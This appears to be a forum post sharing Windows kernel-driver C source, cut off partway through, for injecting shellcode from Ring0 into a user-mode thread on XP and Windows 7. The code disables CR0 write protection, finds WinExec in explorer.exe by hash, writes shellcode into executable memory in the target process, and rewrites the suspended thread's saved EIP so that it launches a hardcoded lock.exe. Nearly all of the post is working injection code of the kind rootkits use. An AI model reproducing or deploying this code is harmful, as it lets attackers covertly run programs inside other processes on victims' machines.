首页
社区
课程
招聘
[分享]Ring0注入Ring3运行一个EXE(xp,win7)
发表于: 2014-2-23 14:22 16904

[分享]Ring0注入Ring3运行一个EXE(xp,win7)

2014-2-23 14:22
16904
/***************************************************************************************

*
*    模块: InjectRing3 [sys module]
*
*    平台: Windows XP SP2/sp3/ win7 sp1
* 
*    描述:
*           Ring0 注入 Ring3 的一种新方法。
*           挂起ring3线程后,修改其TrapFrame里的eip,再恢复其执行。
*	
*
****************************************************************************************/


#ifndef _PROCESS_H_
#define _PROCESS_H_

#include "ntifs.h"
#include <WINDEF.H>
#include <ntimage.h>


#define ProcessBasicInformation 0
#define SystemProcessesAndThreadsInformation 5
#define SystemModuleInformation 11 // SYSTEMINFOCLASS

#define WINDOWS_VERSION_NONE				0
#define WINDOWS_VERSION_2K					1
#define WINDOWS_VERSION_XP					2
#define WINDOWS_VERSION_2K3					3
#define WINDOWS_VERSION_2K3_SP1				4
#define WINDOWS_VERSION_VISTA				5
#define WINDOWS_VERSION_WIN7				6




//线程链表偏移地址
#define BASE_PROCESS_PEB_OFFSET_2K								0//NT5.0.2195.7133
#define BASE_PROCESS_PEB_OFFSET_XP								0x01B0//NT5.1.2600.3093
#define BASE_PROCESS_PEB_OFFSET_2K3								0//nt5.2.3790.0
#define BASE_PROCESS_PEB_OFFSET_2K3_SP1							0//nt5.2.3790.1830
#define BASE_PROCESS_PEB_OFFSET_VISTA							0
#define BASE_PROCESS_PEB_OFFSET_WIN7							0x01a8 //win7

#define BASE_PROCESS_NAME_OFFSET_2K								0x01FC//NT5.0.2195.7133
#define BASE_PROCESS_NAME_OFFSET_XP								0x0174//NT5.1.2600.3093
#define BASE_PROCESS_NAME_OFFSET_2K3							0x0154//nt5.2.3790.0
#define BASE_PROCESS_NAME_OFFSET_2K3_SP1						0x0164//nt5.2.3790.1830
#define BASE_PROCESS_NAME_OFFSET_VISTA							0x014c
#define BASE_PROCESS_NAME_OFFSET_WIN7							0x016c  //win7

#define BASE_PROCESS_FLINK_OFFSET_2K							0//NT5.0.2195.7133
#define BASE_PROCESS_FLINK_OFFSET_XP							0x0088//NT5.1.2600.3093
#define BASE_PROCESS_FLINK_OFFSET_2K3							0//NT5.2.3790.0
#define BASE_PROCESS_FLINK_OFFSET_2K3_SP1						0//nt5.2.3790.1830
#define BASE_PROCESS_FLINK_OFFSET_VISTA							0
#define BASE_PROCESS_FLINK_OFFSET_WIN7							0x00b8//win7

//ThreadListEntry偏移
#define BASE_KTHREAD_LIST_OFFSET_2K								0
#define BASE_KTHREAD_LIST_OFFSET_XP								0x22c
#define BASE_KTHREAD_LIST_OFFSET_2K3							0
#define BASE_KTHREAD_LIST_OFFSET_2K3_SP1						0
#define	BASE_KTHREAD_LIST_OFFSET_WIN7							0x268

#define BASE_KTHREAD_SuspendCount_OFFSET_2K						0
#define BASE_KTHREAD_SuspendCount_OFFSET_XP						0x1b9
#define BASE_KTHREAD_SuspendCount_OFFSET_2K3					0
#define BASE_KTHREAD_SuspendCount_OFFSET_2K3_SP1				0
#define BASE_KTHREAD_SuspendCount_OFFSET_WIN7					0x188//win7

#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K					0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_XP					0x248
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3				0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3_SP1			0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7				0x280

//KTHREAD中的Cid偏移
#define BASE_KTHREAD_Cid_OFFSET_XP								0x1ec
#define BASE_KTHREAD_Cid_OFFSET_WIN7							0x22c

//KTHREAD中的TrapFrame_偏移
#define BASE_KTHREAD_TrapFrame_OFFSET_XP						0x134
#define BASE_KTHREAD_TrapFrame_OFFSET_WIN7						0x128

//_EPROCESS中的ThreadListHead偏移
#define BASE_PROCESS_ThreadListHead_OFFSET_XP					0x190
#define BASE_PROCESS_ThreadListHead_OFFSET_WIN7					0x188

//_EPROCESS中的Pid偏移
#define BASE_PROCESS_Pid_OFFSET_XP								0x84 
#define BASE_PROCESS_Pid_OFFSET_WIN7							0xb4 


//_EPROCESS偏移汇总
typedef struct _EPROCESS_OFFSET
{
	WORD    wOffsetPeb;
	WORD    wOffsetName;
	WORD    wOffsetFlink;
	WORD    wOffsetResv;
	WORD	wOffsetThreadListHead;
	WORD	wOffsetPid;
}EPROCESS_OFFSET, *PEPROCESS_OFFSET, *LPEPROCESS_OFFSET;

//_KTHREAD偏移汇总
typedef struct _KTHREAD_OFFSET
{
	WORD    wOffsetThreadListEntry;
	WORD    wOffsetSuspendCount;
	WORD    wOffsetCrossThreadFlags;
	WORD	wOffsetCid;
	WORD	wOffsetTrapFrame;
}KTHREAD_OFFSET, *PKTHREAD_OFFSET, *LPKTHREAD_OFFSET;


typedef struct ServiceDescriptorEntry {
	unsigned int *ServiceTableBase;
	unsigned int *ServiceCounterTableBase; //Used only in checked build
	unsigned int NumberOfServices;
	unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;;//SSDT
PServiceDescriptorTableEntry	ShadowKeServiceDescriptorTable;//ShadowSSDT


//global
EPROCESS_OFFSET g_EProcessOffset;
KTHREAD_OFFSET  g_KThreadOffset;
ULONG			g_WinExec;



#define SEC_IMAGE 0x1000000

typedef struct _SECTION_IMAGE_INFORMATION
{
	PULONG TransferAddress;
	ULONG ZeroBits;
	ULONG MaximumStackSize;
	ULONG CommittedStackSize;
	ULONG SubSysmtemType;
	USHORT SubSystemMinorVersion;
	USHORT SubSystemMajorVersion;
	ULONG GpValue;
	USHORT Imagecharacteristics;
	USHORT DllCharacteristics;
	USHORT Machine;
	UCHAR  ImageContainsCode;
	UCHAR  Spare1;
	ULONG LoaderFlags;
	ULONG ImageFileSize;
	ULONG Reserved;
}SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

typedef struct _X86_KTRAP_FRAME {
	ULONG   DbgEbp;
	ULONG   DbgEip;
	ULONG   DbgArgMark;
	ULONG   DbgArgPointer;
	ULONG   TempSegCs;
	ULONG   TempEsp;
	ULONG   Dr0;
	ULONG   Dr1;
	ULONG   Dr2;
	ULONG   Dr3;
	ULONG   Dr6;
	ULONG   Dr7;
	ULONG   SegGs;
	ULONG   SegEs;
	ULONG   SegDs;
	ULONG   Edx;
	ULONG   Ecx;
	ULONG   Eax;
	ULONG   PreviousPreviousMode;
	ULONG   ExceptionList;
	ULONG   SegFs;
	ULONG   Edi;
	ULONG   Esi;
	ULONG   Ebx;
	ULONG   Ebp;
	ULONG   ErrCode;
	ULONG   Eip;
	ULONG   SegCs;
	ULONG   EFlags;
	ULONG   HardwareEsp;
	ULONG   HardwareSegSs;
	ULONG   V86Es;
	ULONG   V86Ds;
	ULONG   V86Fs;
	ULONG   V86Gs;
} X86_KTRAP_FRAME, *PX86_KTRAP_FRAME;

typedef struct _MODULE_ENTRY {
	LIST_ENTRY le_mod;
	ULONG  unknown[4];
	ULONG  base;
	ULONG  driver_start;
	ULONG  unk1;
	UNICODE_STRING driver_Path;
	UNICODE_STRING driver_Name;
	//.......
} MODULE_ENTRY, *PMODULE_ENTRY;


typedef 
NTSTATUS
(__stdcall *
 pfnZwSuspendThread)(
 IN HANDLE ThreadHandle,
 OUT PULONG PreviousSuspendCount OPTIONAL
 );

pfnZwSuspendThread KeSuspendThread = NULL;
pfnZwSuspendThread KeResumeThread = NULL;





VOID WPOFF()
{
	__asm
	{
		cli
			mov eax, cr0
			and eax, ~10000h
			mov cr0, eax
	}
}

VOID WPON()
{
	__asm
	{
		mov eax, cr0
			or eax, 10000h
			mov cr0, eax
			sti
	}
}




/************************************************************************/
/*				win7下搜索kernel32.dll中的 WinExec地址
*/
/************************************************************************/
ULONG
SearchApiWin7(WORD api_hash)
/*
*    在kern32.dll中搜索指定API地址
*    Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
*/
{
	//搜索k32dll的API地址
	PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
	PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
	PLIST_ENTRY pTempList = pCurrentList;
	PEPROCESS pEProcess = NULL;

	do {
		PPEB peb = NULL;
		PUCHAR lpname = NULL;

		pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
		peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
		lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;


		KdPrint(("process %s\n", lpname));

		if ((peb != NULL)
			&& (_strnicmp(lpname, "explorer.exe", 8) == 0))    //不区分大小写
		{
			ULONG api_addr = 0;

			shutdown_param.Explorer_PE = pEProcess; //记录explorer进程指针
			KeAttachProcess((PKPROCESS)pEProcess);//附加进程


			_asm
			{
				mov eax, peb;
				mov eax, [eax+0x0c];//ldr
				mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
				mov esi,[esi]//win7要加这一句
				lodsd;                //eax = [esi];
				mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY

				//now get pe image infos to find LoadLibrary and GetProcAddress API
				//assert ebx is the pe image base!!!

				mov ax, api_hash;        //Hash(LoadLibraryA) = 0xae14
				//Hash(WinExec) = 0x72dc
				//call search_api;
				//mov [ebp-4], eax;    //this is LoadLibraryA API

				//------------------------------------------------------------------------------
				//ebx-PE Image Base,eax-hash of api name, return eax!!!
				//------------------------------------------------------------------------------
				//search_api:
				mov edx, eax;
				mov eax, [ebx+0x3c];        //File address of the new exe header
				mov eax, [eax+ebx+0x78];    //pe base ->data directory[16]
				add eax, ebx;                //get directory[0] Address ->export table ->eax
				mov esi, [eax+0x20];        //get export funs names rva
				add esi, ebx;                //esi->export names table address
				//mov ecx, [eax+0x18];        //get export funs numbers

				xor ecx, ecx;
				//search funs name tables
next_api:

				mov edi, [esi+ecx*4];        //
				add edi, ebx;

				//-----------------------------------
				//计算[edi]字符串的hash值
				//-----------------------------------
				pushad;
				xor eax, eax;
cacul_next:
				shl eax, 2;
				movzx ecx, byte ptr[edi];
				add ax, cx;
				inc edi;
				inc ecx;
				loop cacul_next;
				//test edx!!!
				cmp ax, dx;
				jz search_end;

				popad;
				inc ecx;
				jmp next_api;

search_end:
				popad;
				//ecx is the GetProcAdress index
				mov eax, [eax+0x1c];
				add eax, ebx;
				mov eax, [eax+4*ecx];
				add eax, ebx;
				mov api_addr, eax;
				//ret;
			}
			KdPrint(("%08x\n", api_addr));

			KeDetachProcess();
			return api_addr;
		}
		pTempList = pTempList->Flink;
	} while(pCurrentList != pTempList);
	return 0;
}

/************************************************************************/
/*				winxp下搜索kernel32.dll中的 WinExec地址
*/
/************************************************************************/
ULONG
SearchApiXp(WORD api_hash)
/*
*    在kern32.dll中搜索指定API地址
*    Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
*/
{
	//搜索k32dll的API地址
	PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
	PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
	PLIST_ENTRY pTempList = pCurrentList;
	PEPROCESS pEProcess = NULL;

	do 
	{
		PPEB peb = NULL;
		PUCHAR lpname = NULL;

		pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
		peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
		lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;


		KdPrint(("process %s\n", lpname));

		if ((peb != NULL)
			&& (_strnicmp(lpname, "explorer.exe", 8) == 0))    //不区分大小写
		{
			ULONG api_addr = 0;

			//g_EProcessWinlogon = pEProcess;    //记录winlogon进程指针
			shutdown_param.Explorer_PE = pEProcess;
			KeAttachProcess((PKPROCESS)pEProcess);


			_asm
			{
				mov eax, peb;
				mov eax, [eax+0x0c];//ldr
				mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
				lodsd;                //eax = [esi];
				mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY

				//now get pe image infos to find LoadLibrary and GetProcAddress API
				//assert ebx is the pe image base!!!

				mov ax, api_hash;        //Hash(LoadLibraryA) = 0xae14
				//Hash(WinExec) = 0x72dc
				//call search_api;
				//mov [ebp-4], eax;    //this is LoadLibraryA API

				//------------------------------------------------------------------------------
				//ebx-PE Image Base,eax-hash of api name, return eax!!!
				//------------------------------------------------------------------------------
				//search_api:
				mov edx, eax;
				mov eax, [ebx+0x3c];        //File address of the new exe header
				mov eax, [eax+ebx+0x78];    //pe base ->data directory[16]
				add eax, ebx;                //get directory[0] Address ->export table ->eax
				mov esi, [eax+0x20];        //get export funs names rva
				add esi, ebx;                //esi->export names table address
				//mov ecx, [eax+0x18];        //get export funs numbers

				xor ecx, ecx;
				//search funs name tables
next_api:

				mov edi, [esi+ecx*4];        //
				add edi, ebx;

				//-----------------------------------
				//计算[edi]字符串的hash值
				//-----------------------------------
				pushad;
				xor eax, eax;
cacul_next:
				shl eax, 2;
				movzx ecx, byte ptr[edi];
				add ax, cx;
				inc edi;
				inc ecx;
				loop cacul_next;
				//test edx!!!
				cmp ax, dx;
				jz search_end;

				popad;
				inc ecx;
				jmp next_api;

search_end:
				popad;
				//ecx is the GetProcAdress index
				mov eax, [eax+0x1c];
				add eax, ebx;
				mov eax, [eax+4*ecx];
				add eax, ebx;
				mov api_addr, eax;
				//ret;
			}
			KdPrint(("%08x\n", api_addr));

			KeDetachProcess();
			return api_addr;
		}
		pTempList = pTempList->Flink;
	} while(pCurrentList != pTempList);
	return 0;
}


/************************************************************************/
/*					获取WINDOWS版本
					通过ImageName偏移来判断
*/
/************************************************************************/

WORD GetWindowsVersion()
{
    PEPROCESS pSystemProcess = PsGetCurrentProcess();
    WORD offset;
    for (offset=0; offset < PAGE_SIZE; offset++)
    {
        if(strncmp("System", (PCHAR)pSystemProcess + offset, 6) == 0)
        {
            g_EProcessOffset.wOffsetName = offset;
            KdPrint(("%08x", offset));
            switch (offset)
            {
            case BASE_PROCESS_NAME_OFFSET_2K:
                KdPrint(("WINDOWS_VERSION_2K\n"));
                return WINDOWS_VERSION_2K;
                break;
            case BASE_PROCESS_NAME_OFFSET_XP:
                KdPrint(("WINDOWS_VERSION_XP\n"));
                return WINDOWS_VERSION_XP;
                break;
            case BASE_PROCESS_NAME_OFFSET_2K3:
                KdPrint(("WINDOWS_VERSION_2K3\n"));
                return WINDOWS_VERSION_2K3;
                break;
            case BASE_PROCESS_NAME_OFFSET_2K3_SP1:
                KdPrint(("WINDOWS_VERSION_2K3_SP1\n"));
                return WINDOWS_VERSION_2K3_SP1;
                break;
            case BASE_PROCESS_NAME_OFFSET_VISTA:
                KdPrint(("WINDOWS_VERSION_VISTA\n"));
                return WINDOWS_VERSION_VISTA;
                break;
			case BASE_PROCESS_NAME_OFFSET_WIN7:
				KdPrint(("WINDOWS_VERSION_WIN7\n"));
				return WINDOWS_VERSION_WIN7;
				break;
            default:
                return WINDOWS_VERSION_NONE;
            }
        }
    }
    return WINDOWS_VERSION_NONE;
}


/************************************************************************/
/*						根据WINDOWS平台
			初始化一些偏移,根据偏移得到Win32 API的地址(WinExec)
			这里只对WINXP 和 WIN7进行了处理
*/
/************************************************************************/
BOOLEAN InitEProcessInfo()
{
	switch (GetWindowsVersion())
	{
	case WINDOWS_VERSION_2K:
		g_EProcessOffset.wOffsetPeb					= BASE_PROCESS_PEB_OFFSET_2K;
		g_EProcessOffset.wOffsetFlink				= BASE_PROCESS_FLINK_OFFSET_2K;

		g_KThreadOffset.wOffsetThreadListEntry		= BASE_KTHREAD_LIST_OFFSET_2K;
// 		g_KThreadOffset.wOffsetAlertable			= BASE_KTHREAD_ALERTABLE_OFFSET_2K;
// 		g_KThreadOffset.wOffsetApcState				= BASE_KTHREAD_APCSTATE_OFFSET_2K;
		break;
	case WINDOWS_VERSION_XP:
		g_EProcessOffset.wOffsetPeb					= BASE_PROCESS_PEB_OFFSET_XP;
		g_EProcessOffset.wOffsetFlink				= BASE_PROCESS_FLINK_OFFSET_XP;
		g_EProcessOffset.wOffsetThreadListHead		= BASE_PROCESS_ThreadListHead_OFFSET_XP;
		g_EProcessOffset.wOffsetName				= BASE_PROCESS_NAME_OFFSET_XP;
		g_EProcessOffset.wOffsetPid					= BASE_PROCESS_Pid_OFFSET_XP;

		g_KThreadOffset.wOffsetThreadListEntry		= BASE_KTHREAD_LIST_OFFSET_XP;
		g_KThreadOffset.wOffsetSuspendCount			= BASE_KTHREAD_SuspendCount_OFFSET_XP;
		g_KThreadOffset.wOffsetCrossThreadFlags		= BASE_KTHREAD_CrossThreadFlags_OFFSET_XP;
		g_KThreadOffset.wOffsetCid					= BASE_KTHREAD_Cid_OFFSET_XP;
		g_KThreadOffset.wOffsetTrapFrame			= BASE_KTHREAD_TrapFrame_OFFSET_XP;

		shutdown_param.uRoutine						= 0x34;
		shutdown_param.WinVer						= WINDOWS_VERSION_XP;
		//搜索API
		__try
		{
			g_WinExec = SearchApiXp(0x72dc);
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			return FALSE;
		}
		break;
	case WINDOWS_VERSION_2K3:
		g_EProcessOffset.wOffsetPeb					= BASE_PROCESS_PEB_OFFSET_2K3;
		g_EProcessOffset.wOffsetFlink				= BASE_PROCESS_FLINK_OFFSET_2K3;

		g_KThreadOffset.wOffsetThreadListEntry		= BASE_KTHREAD_LIST_OFFSET_2K3;
// 		g_KThreadOffset.wOffsetAlertable			= BASE_KTHREAD_ALERTABLE_OFFSET_2K3;
// 		g_KThreadOffset.wOffsetApcState				= BASE_KTHREAD_APCSTATE_OFFSET_2K3;
		break;
	case WINDOWS_VERSION_2K3_SP1:
		g_EProcessOffset.wOffsetPeb					= BASE_PROCESS_PEB_OFFSET_2K3_SP1;
		g_EProcessOffset.wOffsetFlink				= BASE_PROCESS_FLINK_OFFSET_2K3_SP1;

		g_KThreadOffset.wOffsetThreadListEntry		= BASE_KTHREAD_LIST_OFFSET_2K3_SP1;
// 		g_KThreadOffset.wOffsetAlertable			= BASE_KTHREAD_ALERTABLE_OFFSET_2K3_SP1;
// 		g_KThreadOffset.wOffsetApcState				= BASE_KTHREAD_APCSTATE_OFFSET_2K3_SP1;
		break;
	case WINDOWS_VERSION_WIN7:
		g_EProcessOffset.wOffsetPeb					= BASE_PROCESS_PEB_OFFSET_WIN7;
		g_EProcessOffset.wOffsetFlink				= BASE_PROCESS_FLINK_OFFSET_WIN7;
		g_EProcessOffset.wOffsetThreadListHead		= BASE_PROCESS_ThreadListHead_OFFSET_WIN7;
		g_EProcessOffset.wOffsetName				= BASE_PROCESS_NAME_OFFSET_WIN7;
		g_EProcessOffset.wOffsetPid					= BASE_PROCESS_Pid_OFFSET_WIN7;

		g_KThreadOffset.wOffsetThreadListEntry		= BASE_KTHREAD_LIST_OFFSET_WIN7;
		g_KThreadOffset.wOffsetSuspendCount			= BASE_KTHREAD_SuspendCount_OFFSET_WIN7;
		g_KThreadOffset.wOffsetCrossThreadFlags		= BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7;
		g_KThreadOffset.wOffsetCid					= BASE_KTHREAD_Cid_OFFSET_WIN7;
		g_KThreadOffset.wOffsetTrapFrame			= BASE_KTHREAD_TrapFrame_OFFSET_WIN7;

		shutdown_param.uRoutine						= 0x10;
		shutdown_param.WinVer						= WINDOWS_VERSION_WIN7;
		//搜索API
		__try
		{
			g_WinExec = SearchApiWin7(0x72dc);
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			return FALSE;
		}
		break;
	default:
		KdPrint(("OS not support!\n"));
		return TRUE;
	}
	return TRUE;
}


/************************************************************************/
/*					获取SSDT服务函数索引号
*/
/************************************************************************/
DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName) 
{
	HANDLE hThread, hSection, hFile, hMod;
	SECTION_IMAGE_INFORMATION sii;
	IMAGE_DOS_HEADER* dosheader;
	IMAGE_OPTIONAL_HEADER* opthdr;
	IMAGE_EXPORT_DIRECTORY* pExportTable;
	DWORD* arrayOfFunctionAddresses;
	DWORD* arrayOfFunctionNames;
	WORD* arrayOfFunctionOrdinals;
	DWORD functionOrdinal;
	DWORD Base, x, functionAddress;
	char* functionName;
	STRING ntFunctionName, ntFunctionNameSearch;
	PVOID BaseAddress = NULL;
	SIZE_T size=0;

	OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};

	IO_STATUS_BLOCK iosb;

	//_asm int 3;
	ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

	oa.ObjectName = 0;

	ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);

	ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE); 

	ZwClose(hFile);

	//BaseAddress = GetModlueBaseAdress("ntoskrnl.exe");

	hMod = BaseAddress;

	dosheader = (IMAGE_DOS_HEADER *)hMod;

	opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);

	pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);

	// now we can get the exported functions, but note we convert from RVA to address
	arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);

	arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);

	arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);

	Base = pExportTable->Base;

	RtlInitString(&ntFunctionNameSearch, lpFunctionName);

	for(x = 0; x < pExportTable->NumberOfFunctions; x++)
	{
		functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);

		RtlInitString(&ntFunctionName, functionName);

		functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; // always need to add base, -1 as array counts from 0
		// this is the funny bit.  you would expect the function pointer to simply be arrayOfFunctionAddresses[x]...
		// oh no... thats too simple.  it is actually arrayOfFunctionAddresses[functionOrdinal]!!
		functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
		if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0) 
		{
			//ZwClose(hSection);
			return functionAddress;
		}
	}

	//ZwClose(hSection);
	return 0;
}

/************************************************************************/
/*					获取SSDT函数的地址
*/
/************************************************************************/

PVOID GetSSDTApi(PCHAR ApiName)
{
	UNICODE_STRING dllName;
	DWORD functionAddress;
	int    position;

	RtlInitUnicodeString(&dllName, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
	__try
	{
		functionAddress = GetDllFunctionAddress(ApiName, &dllName);
	}
	__except(EXCEPTION_EXECUTE_HANDLER)
	{

	}

	position = *((WORD*)(functionAddress+1));

	return (PVOID)*( (PULONG)(KeServiceDescriptorTable->ServiceTableBase) + position );
}

////////////////////////////////////////////////
//
//  被注入到ring3进程的代码
//
////////////////////////////////////////////////

// 2F1D159C >    50            push eax                                 
// 2F1D159D      B8 FDE51E76   mov eax,0x761EE5FD WinExec
// 2F1D15A2      6A 01         push 0x1
// 2F1D15A4      68 FFFFFF7F   push 0x7FFFFFFF //C:\\1.exe
// 2F1D15A9      FFD0          call eax       // call WinExec                       
// 2F1D15AB      58            pop eax                                  

/************************************************************************/
/*						ShellCode
						call WinExec 
*/
/************************************************************************/
_declspec (naked) void ShellCode() {
	_asm {
		push eax
			// WinExec
			mov eax,0x761ee5fd    //B8 4D 11 86 7C
			push 1                //6A 01
			push 0x7fffffff        //68 FF FF FF 7F
			call eax            //FF D0
			pop eax
			// jmp ds:12345678H, 绝对地址跳转
			_emit 0xEA
			_emit 0x78
			_emit 0x56
			_emit 0x34
			_emit 0x12
			_emit 0x1B //段选择子
			_emit 0x00

			//运行的路径 40个字节
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
	}
}


///////////////////////////////////////////////////////
//
//  查找ZwSuspendThread和ZwResumeThread
//
///////////////////////////////////////////////////////
ULONG FindFunc()
{
	KeSuspendThread = (pfnZwSuspendThread)GetSSDTApi("ZwSuspendThread");
	KeResumeThread = (pfnZwSuspendThread)GetSSDTApi("ZwResumeThread");
	if ( KeSuspendThread &&
		KeResumeThread)
		return TRUE;
	return FALSE;

}

///////////////////////////////////////////////////////////////
//
//  注入ShellCode到线程,分配内存来拷贝ShellCode
//
///////////////////////////////////////////////////////////////
VOID InjectShellCode(PETHREAD pThread,PEPROCESS pProcess) {
	ULONG i;
	PX86_KTRAP_FRAME pTrapFrame;
	PCLIENT_ID  pCid;
	OBJECT_ATTRIBUTES oa;
	HANDLE hProcess;
	NTSTATUS ntstatus;
	PVOID lpTargetPath = NULL;
	char *path ;
	ULONG pathAddr;
	DbgPrint("Inject Start\n");

	// 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常
	__try {
		KeSuspendThread(pThread, NULL);
	}
	__except(1) {
		return;
	}

	// PTrapFrame中就是该线程的各个寄存器的值
	pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + g_KThreadOffset.wOffsetTrapFrame);

	// 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回
	for( i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i ) {
		if( MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i+3)) ){
			if ( *(PULONG)i == 0x12345678 ) 
			{
				DbgPrint("find modify point\n");
				WPOFF();
				*(PULONG)i = pTrapFrame->Eip;
				WPON();
				break;
			}
		}
	}

	WPOFF();
	lpTargetPath = (PVOID)((ULONG)ShellCode + 24);
	memcpy((PUCHAR)(ULONG)ShellCode + 2, &g_WinExec, 4);            //填写winexec地址
	memset(lpTargetPath, 0, 40);                                //
	WPON();

	// 下面的代码是分配空间来放置ShellCode
	// 调用一些相应函数来实现更好,我比较懒,就硬编码了
	InitializeObjectAttributes(&oa,0,0,0,0);
	pCid = (CLIENT_ID*)((ULONG)pThread + /*0x1ec*/g_KThreadOffset.wOffsetCid);		// Cid 	XP SP2
	ntstatus = ZwOpenProcess( 
		&hProcess, 
		PROCESS_ALL_ACCESS, 
		&oa, 
		pCid 
		);
	if ( NT_SUCCESS(ntstatus) ) 
	{
		PVOID pBuff = NULL;
		SIZE_T size = 0x64;
		ntstatus = ZwAllocateVirtualMemory(
			hProcess, 
			&pBuff, 
			0, 
			&size, 
			MEM_RESERVE | MEM_COMMIT,
			PAGE_EXECUTE_READWRITE
			);
		if( NT_SUCCESS(ntstatus) ) 
		{
			KAPC_STATE kapc;
			// 拷贝ShellCode到目标进程中去
			KeStackAttachProcess((PRKPROCESS)pProcess,&kapc);

			RtlCopyMemory(pBuff,ShellCode,size);//先拷贝ShellCode过去
			path = "C:\\Program Files\\lock\\lock.exe";
			pathAddr = ((ULONG)pBuff + 24);
			RtlCopyMemory( (PVOID)((ULONG)pBuff + 24), path, strlen(path) );//填写运行的路径 path
			RtlCopyMemory( (PVOID)((ULONG)pBuff + 9), &pathAddr, 4);//填写路径的地址

			KeUnstackDetachProcess (&kapc);
			// pTrapFrame->Eip指向ShellCode
			pTrapFrame->Eip = (ULONG)pBuff;
		}
		ZwClose(hProcess);
	}
	// 恢复线程执行
	KeResumeThread(pThread, NULL);
	DbgPrint("Inject End\n");
}


////////////////////////////////////////////////
//
//  注入ShellCode到进程
//
////////////////////////////////////////////////
#define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL 
#define IS_SYSTEM_THREAD(Thread) ((((Thread)+0x280)&PS_CROSS_THREAD_FLAGS_SYSTEM) != 0)
BOOLEAN Inject(char* strProc, int len) 
{
	PEPROCESS pProcess;
	PETHREAD pThread;
	PLIST_ENTRY pListHead, pNextEntry;
	PLIST_ENTRY pThListHead, pThNextEntry;
	UCHAR SuspendCount;
	ULONG CrossThreadFlags;

	pProcess = PsGetCurrentProcess();
	pListHead = (PLIST_ENTRY)((ULONG)pProcess + g_EProcessOffset.wOffsetFlink);	//0x88	//ActiveProcessLinks
	pNextEntry = pListHead;

	// 先找到要注入的进程,通过ZwQuerySystemInformation来查找更稳定一些
	// 不过本人很讨厌那个繁琐的函数……
	do 
	{
		pProcess = (PEPROCESS)((ULONG)pNextEntry - g_EProcessOffset.wOffsetFlink/*0x88*/);
